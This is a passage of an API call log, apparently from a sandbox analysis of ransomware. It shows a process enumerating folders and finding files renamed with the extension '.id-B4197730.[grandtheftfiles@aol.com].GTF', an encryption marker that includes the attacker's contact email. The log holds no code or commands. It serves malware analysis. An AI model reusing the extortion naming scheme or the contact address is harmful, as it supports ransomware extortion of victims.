	[0153.217] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="2070", cAlternateFileName="")) returned 1
	[0153.217] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.217] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x41400d8
	[0153.218] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.218] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fc6d477, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fc6d477, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01582d6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.218] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fcb99df, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa010be4c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.219] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa02ace16, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa02ace16, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa04c31b6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.219] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa02ace16, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa02ace16, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa04c31b6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.219] FindClose (in: hFindFile=0x41400d8 | out: hFindFile=0x41400d8) returned 1
	[0153.219] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.220] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="3076", cAlternateFileName="")) returned 1
	[0153.220] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.220] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x4140258
	[0153.221] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.221] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fc935d1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fc935d1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01582d6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.221] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fcb99df, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0131f8d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.221] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa04e9481, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa04e9481, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa05ce010, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.221] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa04e9481, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa04e9481, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa05ce010, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.222] FindClose (in: hFindFile=0x4140258 | out: hFindFile=0x4140258) returned 1
	[0153.222] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.222] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="3082", cAlternateFileName="")) returned 1
	[0153.222] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.222] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x41406d8
	[0153.224] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.224] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa0131f8d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0131f8d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa02ace16, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.224] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa023d020, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa023d020, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa03de47c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.225] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa04e9481, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa04e9481, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa04e9481, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.225] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa04e9481, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa04e9481, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa04e9481, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.225] FindClose (in: hFindFile=0x41406d8 | out: hFindFile=0x41406d8) returned 1
	[0153.225] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.225] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="Client", cAlternateFileName="")) returned 1
	[0153.226] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.226] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x41400d8
	[0153.228] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.228] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa01582d6, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa01582d6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01a4586, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="Parameterinfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PARAME~1.GTF")) returned 1
	[0153.228] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa01ca9c8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa01ca9c8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa027311f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="UIINFO~1.GTF")) returned 1
	[0153.228] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa01ca9c8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa01ca9c8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa027311f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="UIINFO~1.GTF")) returned 0
	[0153.228] FindClose (in: hFindFile=0x41400d8 | out: hFindFile=0x41400d8) returned 1
	[0153.229] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.229] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa01ca9c8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa01ca9c8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01f0a33, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="DHtmlHeader.html.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DHTMLH~1.GTF")) returned 1
	[0153.229] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa050f66f, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa050f66f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa050f66f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="DisplayIcon.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DISPLA~1.GTF")) returned 1
	[0153.229] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="Extended", cAlternateFileName="")) returned 1
	[0153.229] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.229] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x4140398
	[0153.232] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.232] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa01f0a33, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa01f0a33, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0725ae4, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="Parameterinfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PARAME~1.GTF")) returned 1
	[0153.232] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa02831e1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa02831e1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0771964, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="UIINFO~1.GTF")) returned 1
	[0153.232] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa02831e1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa02831e1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0771964, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="UIINFO~1.GTF")) returned 0
	[0153.232] FindClose (in: hFindFile=0x4140398 | out: hFindFile=0x4140398) returned 1
	[0153.233] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.233] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0153.233] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.233] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x4140458
	[0153.235] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.236] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa053576e, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa053576e, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0581e7d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="Print.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PRINTI~1.GTF")) returned 1
	[0153.236] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa05a7e25, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa05a7e25, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa05a7e25, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="Rotate1.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="ROTATE~1.GTF")) returned 1
	[0153.236] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa05ce010, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa05ce010, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa06ff259, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="Rotate2.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="ROTATE~2.GTF")) returned 1
